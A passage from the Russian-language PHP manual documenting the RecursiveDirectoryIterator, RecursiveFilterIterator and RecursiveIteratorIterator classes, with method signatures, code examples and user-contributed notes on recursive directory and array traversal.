  • RecursiveDirectoryIterator::getSubPath() - Возвращает путь к поддиректории
  • RecursiveDirectoryIterator::key() - Возвращает путь и имя файла текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли текущий элемент директорией

  • « RecursiveDirectoryIterator::getSubPathname
  • RecursiveDirectoryIterator::key »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Определяет, является ли текущий элемент директорией

RecursiveDirectoryIterator::hasChildren

(PHP 5, PHP 7, PHP 8)

RecursiveDirectoryIterator::hasChildren — Определяет, является ли текущий элемент директорией

Описание

public RecursiveDirectoryIterator::hasChildren(bool $allowLinks = false): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

allowLinks

Возвращаемые значения

Возвращает true, если текущий элемент является директорией, причём отличной от '.' и '..'

User Contributed Notes

There are no user contributed notes for this page.


Возвращает путь и имя файла текущего элемента

  • « RecursiveDirectoryIterator::hasChildren
  • RecursiveDirectoryIterator::next »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Возвращает путь и имя файла текущего элемента

RecursiveDirectoryIterator::key

(PHP 5, PHP 7, PHP 8)

RecursiveDirectoryIterator::key — Возвращает путь и имя файла текущего элемента

Описание

public RecursiveDirectoryIterator::key(): string
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает путь и имя файла текущего элемента.

User Contributed Notes

There are no user contributed notes for this page.


Переход к следующему элементу

  • « RecursiveDirectoryIterator::key
  • RecursiveDirectoryIterator::rewind »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Переход к следующему элементу

RecursiveDirectoryIterator::next

(PHP 5, PHP 7, PHP 8)

RecursiveDirectoryIterator::next — Переход к следующему элементу

Описание

public RecursiveDirectoryIterator::next(): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Переводит итератор на начало директории

  • « RecursiveDirectoryIterator::next
  • RecursiveFilterIterator »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Переводит итератор на начало директории

RecursiveDirectoryIterator::rewind

(PHP 5, PHP 7, PHP 8)

RecursiveDirectoryIterator::rewind — Переводит итератор на начало директории

Описание

public RecursiveDirectoryIterator::rewind(): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Класс RecursiveFilterIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Этот абстрактный итератор отфильтровывает нежелательные значения для RecursiveIterator. Этот класс следует расширять для реализации пользовательских фильтров. Метод RecursiveFilterIterator::accept() необходимо реализовывать в подклассе.

Обзор классов

abstract class RecursiveFilterIterator extends FilterIterator implements RecursiveIterator {
/* Методы */
public __construct(RecursiveIterator $iterator)
public getChildren(): ?RecursiveFilterIterator
public hasChildren(): bool
/* Наследуемые методы */
public FilterIterator::accept(): bool
public FilterIterator::current(): mixed
public FilterIterator::key(): mixed
public FilterIterator::next(): void
public FilterIterator::rewind(): void
public FilterIterator::valid(): bool
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Содержание

  • RecursiveFilterIterator::__construct — Создаёт объект RecursiveFilterIterator на основе объекта-итератора RecursiveIterator
  • RecursiveFilterIterator::getChildren — Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveFilterIterator
  • RecursiveFilterIterator::hasChildren — Проверяет, есть ли у текущего элемента внутреннего итератора дочерние элементы

User Contributed Notes

lemats 05-May-2011 10:14
Recursive directory/file listing, filteres ".svn":

<?php

class MyRecursiveFilterIterator extends RecursiveFilterIterator {

    public static $FILTERS = array(
        '.svn',
    );

    public function accept() {
        return !in_array(
            $this->current()->getFilename(),
            self::$FILTERS,
            true
        );
    }

}

$dirItr    = new RecursiveDirectoryIterator('/sample/path');
$filterItr = new MyRecursiveFilterIterator($dirItr);
$itr       = new RecursiveIteratorIterator($filterItr, RecursiveIteratorIterator::SELF_FIRST);
foreach ($itr as $filePath => $fileInfo) {
    echo $fileInfo->getFilename() . PHP_EOL;
}

?>
Russell Dias 28-Sep-2010 06:38
I had to create a filter to get values greater than a certain number in a multidimensional array.

Hope someone else finds it helpful:

<?php
class GreaterThanFilter extends RecursiveFilterIterator {
    protected $limit;

    public function __construct(RecursiveIterator $recursiveIter, $limit) {
        $this->limit = $limit;
        parent::__construct($recursiveIter);
    }
    public function accept() {
        return $this->hasChildren() || strlen($this->current()) >= $this->limit;
    }
     public function getChildren() {
        return new self($this->getInnerIterator()->getChildren(), $this->limit);
    }
}
$iter = new RecursiveArrayIterator($array);
$filter   = new GreaterThanFilter($iter, 5);

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
    echo $value . "\n";
}
?>


Создаёт объект RecursiveFilterIterator на основе объекта-итератора RecursiveIterator

  • « RecursiveFilterIterator
  • RecursiveFilterIterator::getChildren »
  • PHP Manual
  • RecursiveFilterIterator
  • Создаёт объект RecursiveFilterIterator на основе объекта-итератора RecursiveIterator

RecursiveFilterIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveFilterIterator::__construct — Создаёт объект RecursiveFilterIterator на основе объекта-итератора RecursiveIterator

Описание

public RecursiveFilterIterator::__construct(RecursiveIterator $iterator)

Создаёт итератор RecursiveFilterIterator на основе RecursiveIterator.

Список параметров

iterator

Объект-итератор RecursiveIterator, элементы которого требуется отфильтровать.

Примеры

Пример #1 Пример использования RecursiveFilterIterator()

<?php
class TestsOnlyFilter extends RecursiveFilterIterator {
public function accept() {
// текущий элемент пройдёт фильтр, если имеет дочерние элементы или
// его значение начинается со строки "test"
return $this->hasChildren() || (strpos($this->current(), "test") !== FALSE);
}
}

$array = array("test1", array("taste2", "test3", "test4"), "test5");
$iterator = new RecursiveArrayIterator($array);
$filter = new TestsOnlyFilter($iterator);

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
echo $value . "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

test1
test3
test4
test5

Пример #2 Ещё пример с RecursiveFilterIterator()

<?php
class StartsWithFilter extends RecursiveFilterIterator {

protected $word;

public function __construct(RecursiveIterator $rit, $word) {
$this->word = $word;
parent::__construct($rit);
}

public function accept() {
return $this->hasChildren() OR strpos($this->current(), $this->word) === 0;
}

public function getChildren() {
return new self($this->getInnerIterator()->getChildren(), $this->word);
}
}

$array = array("test1", array("taste2", "test3", "test4"), "test5");
$iterator = new RecursiveArrayIterator($array);
$filter = new StartsWithFilter($iterator, "test");

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
echo $value . "\n";
}
?>

Результатом выполнения данного примера будет что-то подобное:

test1
test3
test4
test5

Смотрите также

  • RecursiveFilterIterator::getChildren() - Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveFilterIterator
  • RecursiveFilterIterator::hasChildren() - Проверяет, есть ли у текущего элемента внутреннего итератора дочерние элементы
  • FilterIterator::accept() - Проверяет, является ли текущий элемент итератора допустимым

User Contributed Notes

There are no user contributed notes for this page.


Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveFilterIterator

  • « RecursiveFilterIterator::__construct
  • RecursiveFilterIterator::hasChildren »
  • PHP Manual
  • RecursiveFilterIterator
  • Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveFilterIterator

RecursiveFilterIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveFilterIterator::getChildren — Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveFilterIterator

Описание

public RecursiveFilterIterator::getChildren(): ?RecursiveFilterIterator

Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveFilterIterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает RecursiveFilterIterator, содержащий дочерние элементы текущего элемента внутреннего итератора.

Смотрите также

  • RecursiveFilterIterator::hasChildren() - Проверяет, есть ли у текущего элемента внутреннего итератора дочерние элементы
  • RecursiveIterator::getChildren() - Возвращает итератор для текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, есть ли у текущего элемента внутреннего итератора дочерние элементы

  • « RecursiveFilterIterator::getChildren
  • RecursiveIteratorIterator »
  • PHP Manual
  • RecursiveFilterIterator
  • Проверяет, есть ли у текущего элемента внутреннего итератора дочерние элементы

RecursiveFilterIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveFilterIterator::hasChildren — Проверяет, есть ли у текущего элемента внутреннего итератора дочерние элементы

Описание

public RecursiveFilterIterator::hasChildren(): bool

Проверяет, есть ли у текущего элемента внутреннего итератора дочерние элементы.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

true, если у текущего элемента внутреннего итератора есть дочерние элементы, false в противно случае.

Смотрите также

  • RecursiveFilterIterator::getChildren() - Возвращает дочерние элементы внутреннего итератора в виде объекта RecursiveFilterIterator
  • RecursiveIterator::hasChildren() - Определяет, можно ли для текущего элемента создать итератор

User Contributed Notes

There are no user contributed notes for this page.


Класс RecursiveIteratorIterator

(PHP 5, PHP 7, PHP 8)

Введение

Может быть использован для перебора рекурсивных итераторов.

Обзор классов

class RecursiveIteratorIterator implements OuterIterator {
/* Константы */
public const int LEAVES_ONLY;
public const int SELF_FIRST;
public const int CHILD_FIRST;
public const int CATCH_GET_CHILD;
/* Методы */
public __construct(Traversable $iterator, int $mode = RecursiveIteratorIterator::LEAVES_ONLY, int $flags = 0)
public beginChildren(): void
public beginIteration(): void
public callGetChildren(): ?RecursiveIterator
public callHasChildren(): bool
public current(): mixed
public endChildren(): void
public endIteration(): void
public getDepth(): int
public getInnerIterator(): RecursiveIterator
public getMaxDepth(): int|false
public getSubIterator(?int $level = null): ?RecursiveIterator
public key(): mixed
public next(): void
public nextElement(): void
public rewind(): void
public setMaxDepth(int $maxDepth = -1): void
public valid(): bool
}

Предопределённые константы

RecursiveIteratorIterator::LEAVES_ONLY

RecursiveIteratorIterator::SELF_FIRST

RecursiveIteratorIterator::CHILD_FIRST

RecursiveIteratorIterator::CATCH_GET_CHILD

Содержание

  • RecursiveIteratorIterator::beginChildren — Переход к первому дочернему элементу
  • RecursiveIteratorIterator::beginIteration — Начало итерации
  • RecursiveIteratorIterator::callGetChildren — Получение дочерних элементов
  • RecursiveIteratorIterator::callHasChildren — Проверка, есть ли у элемента дочерние элементы
  • RecursiveIteratorIterator::__construct — Конструктор класса RecursiveIteratorIterator
  • RecursiveIteratorIterator::current — Получает значение текущего элемента
  • RecursiveIteratorIterator::endChildren — Окончание дочерних элементов
  • RecursiveIteratorIterator::endIteration — Окончание итерации
  • RecursiveIteratorIterator::getDepth — Определяет текущую глубину рекурсии
  • RecursiveIteratorIterator::getInnerIterator — Получение ссылки на внутренний итератор
  • RecursiveIteratorIterator::getMaxDepth — Получение максимальной глубины рекурсии
  • RecursiveIteratorIterator::getSubIterator — Получение активного вложенного итератора
  • RecursiveIteratorIterator::key — Получение ключа текущего элемента
  • RecursiveIteratorIterator::next — Перемещение итератора к следующему элементу
  • RecursiveIteratorIterator::nextElement — Следующий элемент
  • RecursiveIteratorIterator::rewind — Перемещает итератор на первый элемент самого верхнего уровня вложенности внутреннего итератора
  • RecursiveIteratorIterator::setMaxDepth — Установка максимальной глубины вложенности
  • RecursiveIteratorIterator::valid — Проверка допустимости текущей позиции

User Contributed Notes

Anonymous 08-Nov-2016 10:15
A very useful use case for RecusiveIteratorIterator in combination with RecursiveArrayIterator is to replace array values on a multidimensional array at any level deep.

Usually, array_walk_recursive would be used to replace values deep within arrays, but unfortunately this only works when there is a standard key value pair - in other words, array_walk_recursive ONLY VISITS LEAF NODES, NOT arrays.

So to get around this, the iterators can be used in this way:

<?php
$array = [
    'test' => 'value',
    'level_one' => [
        'level_two' => [
            'level_three' => [
                'replace_this_array' => [
                    'special_key' => 'replacement_value',
                    'key_one' => 'testing',
                    'key_two' => 'value',
                    'four' => 'another value'
                ]
            ],
            'ordinary_key' => 'value'
        ]
    ]
];

$arrayIterator = new \RecursiveArrayIterator($array);
$recursiveIterator = new \RecursiveIteratorIterator($arrayIterator, \RecursiveIteratorIterator::SELF_FIRST);

foreach ($recursiveIterator as $key => $value) {
    if (is_array($value) && array_key_exists('special_key', $value)) {
        // Here we replace ALL keys with the same value from 'special_key'
        $replaced = array_fill(0, count($value), $value['special_key']);
        $value = array_combine(array_keys($value), $replaced);
        // set a new key
        $value['new_key'] = 'new value';

        // Get the current depth and traverse back up the tree, saving the modifications
        $currentDepth = $recursiveIterator->getDepth();
        for ($subDepth = $currentDepth; $subDepth >= 0; $subDepth--) {
            // Get the current level iterator
            $subIterator = $recursiveIterator->getSubIterator($subDepth);
            // If we are on the level we want to change, use the replacements ($value) other wise set the key to the parent iterators value
            $subIterator->offsetSet($subIterator->key(), ($subDepth === $currentDepth ? $value : $recursiveIterator->getSubIterator(($subDepth+1))->getArrayCopy()));
       }
    }
}
return $recursiveIterator->getArrayCopy();
// return:
$array = [
    'test' => 'value',
    'level_one' => [
        'level_two' => [
            'level_three' => [
                'replace_this_array' => [
                    'special_key' => 'replacement_value',
                    'key_one' => 'replacement_value',
                    'key_two' => 'replacement_value',
                    'four' => 'replacement_value',
                    'new_key' => 'new value'
                ]
            ],
            'ordinary_key' => 'value'
        ]
    ]
];
?>

The key is in traversing back up the tree to save the changes at that level - simply calling $recursiveIterator->offsetSet(); will only set a key on the root array.
gerry at king-foo dot be 11-Jun-2014 12:44
Carefull when using iterator_to_array(). Because it flattens down your subiterators, elements with the same keys will overwrite eachother.

For example:

<?php

$iterator = new RecursiveIteratorIterator(
    new RecursiveArrayIterator([
        ['foo', 'bar'],
        ['baz', 'qux']
    ])
);

foreach ($iterator as $element) {
    echo $element;
}

?>

This will output all 4 elements as expected:

string(3) "foo"
string(3) "bar"
string(3) "baz"
string(3) "qux"

While doing:

<?php

var_dump(iterator_to_array($iterator));

?>

will output an array with only the last 2 elements:

array(2) {
  [0]=>
  string(3) "baz"
  [1]=>
  string(3) "qux"
}
fengdingbo at gmail dot com 21-Aug-2013 02:18
if you want traversal directory?
<?php
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator("./")) as $key=>$val)
{
    echo $key,"=>",$val,"\n";
}
?>
Adil Baig @ AIdezigns 23-Jun-2011 11:17
A very important thing to note about \RecursiveIteratorIterator is that it returns a flattened array when used with the iterator_to_array function. Ex:

<?php
$arr = array('Zero', 'name'=>'Adil', 'address' => array( 'city'=>'Dubai', 'tel' => array('int' => 971, 'tel'=>12345487)), '' => 'nothing');

$iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator($arr));
var_dump(iterator_to_array($iterator,true));
?>

This code will return :

array(6) {
  [0]=>
  string(4) "Zero"
  ["name"]=>
  string(4) "Adil"
  ["city"]=>
  string(5) "Dubai"
  ["int"]=>
  int(91)
  ["tel"]=>
  int(12345487)
  [""]=>
  string(7) "nothing"
}

To get the non-flattened proper array use the getArrayCopy() method, like so :

$iterator->getArrayCopy()

This will return

array(4) {
  [0]=>
  string(4) "Zero"
  ["name"]=>
  string(4) "Adil"
  ["address"]=>
  array(2) {
    ["city"]=>
    string(5) "Dubai"
    ["tel"]=>
    array(2) {
      ["int"]=>
      int(91)
      ["tel"]=>
      int(12345487)
    }
  }
  [""]=>
  string(7) "nothing"
}
Tom 06-Jan-2011 01:35
This class operates on a tree of elements, which is build by nesting recursive iterators into one another.

Thus you might say it is an iterator over iterators. While traversing those, the class pushes the iterators on a stack while traversing down to a leaf and removes them from the stack while going back up.
aidan at php dot net 29-Apr-2010 09:57
This example demonstrates using the getDepth() method with a RecursiveArrayIterator.

<?php
$tree = array();
$tree[1][2][3] = 'lemon';
$tree[1][4] = 'melon';
$tree[2][3] = 'orange';
$tree[2][5] = 'grape';
$tree[3] = 'pineapple';

print_r($tree);

$arrayiter = new RecursiveArrayIterator($tree);
$iteriter = new RecursiveIteratorIterator($arrayiter);

foreach ($iteriter as $key => $value) {
  $d = $iteriter->getDepth();
  echo "depth=$d k=$key v=$value\n";
}
?>

The output of this would be:

Array
(
    [1] => Array
        (
            [2] => Array
                (
                    [3] => lemon
                )

            [4] => melon
        )

    [2] => Array
        (
            [3] => orange
            [5] => grape
        )

    [3] => pineapple
)

depth=2 k=3 v=lemon
depth=1 k=4 v=melon
depth=1 k=3 v=orange
depth=1 k=5 v=grape
depth=0 k=3 v=pineapple
Michiel Brandenburg 14-Jun-2009 04:40
You can use this to quickly find all the files (recursively) in a certain directory. This beats maintaining a stack yourself.
<?php
$directory = "/tmp/";
$fileSPLObjects =  new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($directory),
                RecursiveIteratorIterator::CHILD_FIRST
            );
try {
    foreach( $fileSPLObjects as $fullFileName => $fileSPLObject ) {
        print $fullFileName . " " . $fileSPLObject->getFilename() . "\n";
    }
}
catch (UnexpectedValueException $e) {
    printf("Directory [%s] contained a directory we can not recurse into", $directory);
}
?>
Note: if there is a directory contained within the directory you are searching in that you have no access to read an UnexpectedValueException will be thrown (leaving you with an empty list).
Note: objects returned are SPLFileObjects


Переход к первому дочернему элементу

  • « RecursiveIteratorIterator
  • RecursiveIteratorIterator::beginIteration »
  • PHP Manual
  • RecursiveIteratorIterator
  • Переход к первому дочернему элементу

RecursiveIteratorIterator::beginChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::beginChildren — Переход к первому дочернему элементу

Описание

public RecursiveIteratorIterator::beginChildren(): void

Метод вызывается после выполнения RecursiveIteratorIterator::getChildren(), а результат его работы аналогичен вызову RecursiveIteratorIterator::rewind().

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Начало итерации

  • « RecursiveIteratorIterator::beginChildren
  • RecursiveIteratorIterator::callGetChildren »
  • PHP Manual
  • RecursiveIteratorIterator
  • Начало итерации

RecursiveIteratorIterator::beginIteration

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::beginIteration — Начало итерации

Описание

public RecursiveIteratorIterator::beginIteration(): void

Вызывается, чтобы начать итерацию (после первого вызова RecursiveIteratorIterator::rewind()).

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Получение дочерних элементов

  • « RecursiveIteratorIterator::beginIteration
  • RecursiveIteratorIterator::callHasChildren »
  • PHP Manual
  • RecursiveIteratorIterator
  • Получение дочерних элементов

RecursiveIteratorIterator::callGetChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::callGetChildren — Получение дочерних элементов

Описание

public RecursiveIteratorIterator::callGetChildren(): ?RecursiveIterator

Получает дочерние элементы текущего элемента итератора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект класса RecursiveIterator() в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Проверка, есть ли у элемента дочерние элементы

  • « RecursiveIteratorIterator::callGetChildren
  • RecursiveIteratorIterator::__construct »
  • PHP Manual
  • RecursiveIteratorIterator
  • Проверка, есть ли у элемента дочерние элементы

RecursiveIteratorIterator::callHasChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::callHasChildren — Проверка, есть ли у элемента дочерние элементы

Описание

public RecursiveIteratorIterator::callHasChildren(): bool

Вызывается для каждого элемента, чтобы проверить, есть ли у него дочерние элементы.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает, есть ли у элемента дочерние элементы.

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса RecursiveIteratorIterator

  • « RecursiveIteratorIterator::callHasChildren
  • RecursiveIteratorIterator::current »
  • PHP Manual
  • RecursiveIteratorIterator
  • Конструктор класса RecursiveIteratorIterator

RecursiveIteratorIterator::__construct

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

RecursiveIteratorIterator::__construct — Конструктор класса RecursiveIteratorIterator

Описание

public RecursiveIteratorIterator::__construct(Traversable $iterator, int $mode = RecursiveIteratorIterator::LEAVES_ONLY, int $flags = 0)

Создаёт новый объект класса RecursiveIteratorIterator на основе объекта RecursiveIterator.

Список параметров

iterator

Объект-итератор, на основе которого требуется построить данный экземпляр. Это может быть объект класса RecursiveIterator или класса IteratorAggregate.

mode

Необязательный параметр. Задание режима работы конструктора. Возможные значения:

  • RecursiveIteratorIterator::LEAVES_ONLY - По умолчанию. Итерация будет осуществляться только по листам дерева элементов.
  • RecursiveIteratorIterator::SELF_FIRST - Итерация будет осуществляться по всему дереву элементов, причём первыми будут идти родительские элементы.
  • RecursiveIteratorIterator::CHILD_FIRST - Итерация будет осуществляться по всему дереву элементов, причём первыми будут идти дочерние элементы.

flags

Необязательный настроечный флаг. Возможное значение RecursiveIteratorIterator::CATCH_GET_CHILD даёт предписание объекту не принимать во внимание исключения, которые вызывает метод RecursiveIteratorIterator::getChildren().

Примеры

Пример #1 Итерация по дереву элементов с помощью RecursiveIteratorIterator

<?php
$array = array(
array(
array(
array(
'leaf-0-0-0-0',
'leaf-0-0-0-1'
),
'leaf-0-0-0'
),
array(
array(
'leaf-0-1-0-0',
'leaf-0-1-0-1'
),
'leaf-0-1-0'
),
'leaf-0-0'
)
);

$iterator = new RecursiveIteratorIterator(
new RecursiveArrayIterator($array),
$mode
);
foreach ($iterator as $key => $leaf) {
echo "$key => $leaf", PHP_EOL;
}
?>

Вывод примера в режиме $mode = RecursiveIteratorIterator::LEAVES_ONLY

0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
0 => leaf-0-0-0
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
0 => leaf-0-1-0
0 => leaf-0-0

Вывод примера в режиме $mode = RecursiveIteratorIterator::SELF_FIRST

0 => Array
0 => Array
0 => Array
0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
1 => leaf-0-0-0
1 => Array
0 => Array
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
1 => leaf-0-1-0
2 => leaf-0-0

Вывод примера в режиме $mode = RecursiveIteratorIterator::CHILD_FIRST

0 => leaf-0-0-0-0
1 => leaf-0-0-0-1
0 => Array
1 => leaf-0-0-0
0 => Array
0 => leaf-0-1-0-0
1 => leaf-0-1-0-1
0 => Array
1 => leaf-0-1-0
1 => Array
2 => leaf-0-0
0 => Array

User Contributed Notes

Tom 06-Jan-2011 01:13
Note: the missing documentation of the argument list for this constructor is currently as follows (according to source code).

Param iter: see RecursiveIterator

Param mode:
- LEAVES_ONLY = (default) only iterate leaves
- SELF_FIRST = iterate parents prior to children
- CHILD_FIRST = iterate children prior to parents

Param flags:
- CATCH_GET_CHILD = ignore exceptions in getChildren() call
Matt Creenan 05-Mar-2010 09:39
Note that LEAVES_ONLY, SELF_FIRST and CHILD_FIRST do not work by themselves.

They are class constants so you need to use RecursiveIteratorIterator::LEAVES_ONLY, etc.


Получает значение текущего элемента

  • « RecursiveIteratorIterator::__construct
  • RecursiveIteratorIterator::endChildren »
  • PHP Manual
  • RecursiveIteratorIterator
  • Получает значение текущего элемента

RecursiveIteratorIterator::current

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::current — Получает значение текущего элемента

Описание

public RecursiveIteratorIterator::current(): mixed
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение текущего элемента.

User Contributed Notes

There are no user contributed notes for this page.


Окончание дочерних элементов

  • « RecursiveIteratorIterator::current
  • RecursiveIteratorIterator::endIteration »
  • PHP Manual
  • RecursiveIteratorIterator
  • Окончание дочерних элементов

RecursiveIteratorIterator::endChildren

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::endChildren — Окончание дочерних элементов

Описание

public RecursiveIteratorIterator::endChildren(): void

Вызывается, когда закончились элементы, находящиеся на одном уровне родства.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

Tom 06-Jan-2011 01:20
According to the source code documentation, this function is not implemented.

It is used as a hook. You need to overwrite it in your derived class. Don't call it yourself, it is called automatically.

Documentation: Template method provided for overriding classes, called after an iteterator has been used up.
(Default implementation does nothing.)


Окончание итерации

  • « RecursiveIteratorIterator::endChildren
  • RecursiveIteratorIterator::getDepth »
  • PHP Manual
  • RecursiveIteratorIterator
  • Окончание итерации

RecursiveIteratorIterator::endIteration

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::endIteration — Окончание итерации

Описание

public RecursiveIteratorIterator::endIteration(): void

Вызывается по завершении итерации (когда метод RecursiveIteratorIterator::valid() впервые вернёт false).

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

Tom 06-Jan-2011 01:23
Some source code documentation that I found on this function currently says: Template method provided for overriding classes, default implementation does nothing.


Определяет текущую глубину рекурсии

  • « RecursiveIteratorIterator::endIteration
  • RecursiveIteratorIterator::getInnerIterator »
  • PHP Manual
  • RecursiveIteratorIterator
  • Определяет текущую глубину рекурсии

RecursiveIteratorIterator::getDepth

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::getDepth — Определяет текущую глубину рекурсии

Описание

public RecursiveIteratorIterator::getDepth(): int
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая глубина рекурсии навигации.

User Contributed Notes

spicypixel at gmail dot com 08-May-2018 08:58
Example to only return directories that are a specified depth in a tree:

<?php
function directory_mapper($path)
{
    $maxDepth = 3;
    $minDepth = 3;
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST,
        RecursiveIteratorIterator::CATCH_GET_CHILD// Ignore "Permission denied"
    );
    $iterator->setMaxDepth($maxDepth);

    $paths = array($path);
    foreach ($iterator as $path => $dir) {
        if ($iterator->getDepth() >= $minDepth) {
            if ($dir->isDir()) {
                $paths[] = $path;
            }
        }

    }
    array_shift($paths);
    return $paths;
}
?>


Получение ссылки на внутренний итератор

  • « RecursiveIteratorIterator::getDepth
  • RecursiveIteratorIterator::getMaxDepth »
  • PHP Manual
  • RecursiveIteratorIterator
  • Получение ссылки на внутренний итератор

RecursiveIteratorIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::getInnerIterator — Получение ссылки на внутренний итератор

Описание

public RecursiveIteratorIterator::getInnerIterator(): RecursiveIterator

Получает ссылку на активный в данный момент внутренний итератор.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ссылка на внутренний объект-итератор.

User Contributed Notes

There are no user contributed notes for this page.


Получение максимальной глубины рекурсии

  • « RecursiveIteratorIterator::getInnerIterator
  • RecursiveIteratorIterator::getSubIterator »
  • PHP Manual
  • RecursiveIteratorIterator
  • Получение максимальной глубины рекурсии

RecursiveIteratorIterator::getMaxDepth

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

RecursiveIteratorIterator::getMaxDepth — Получение максимальной глубины рекурсии

Описание

public RecursiveIteratorIterator::getMaxDepth(): int|false

Определяет максимальную допустимую глубину вложенности элементов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Максимальная глубина рекурсии или false, если глубина не ограничена.

Смотрите также

  • RecursiveIteratorIterator::setMaxDepth() - Установка максимальной глубины вложенности

User Contributed Notes

There are no user contributed notes for this page.


Получение активного вложенного итератора

  • « RecursiveIteratorIterator::getMaxDepth
  • RecursiveIteratorIterator::key »
  • PHP Manual
  • RecursiveIteratorIterator
  • Получение активного вложенного итератора

RecursiveIteratorIterator::getSubIterator

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::getSubIterator — Получение активного вложенного итератора

Описание

public RecursiveIteratorIterator::getSubIterator(?int $level = null): ?RecursiveIterator
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

level

Возвращаемые значения

Активный вложенный итератор в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | level теперь допускает значение null.

User Contributed Notes

lovePhp 08-Dec-2018 10:52
Please document this method. I have found a use for it and would love to better understand how it works. TY : )


Получение ключа текущего элемента

  • « RecursiveIteratorIterator::getSubIterator
  • RecursiveIteratorIterator::next »
  • PHP Manual
  • RecursiveIteratorIterator
  • Получение ключа текущего элемента

RecursiveIteratorIterator::key

(PHP 5, PHP 7, PHP 8)

RecursiveIteratorIterator::key — Получение ключа текущего элемента

Описание

public RecursiveIteratorIterator::key(): mixed
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

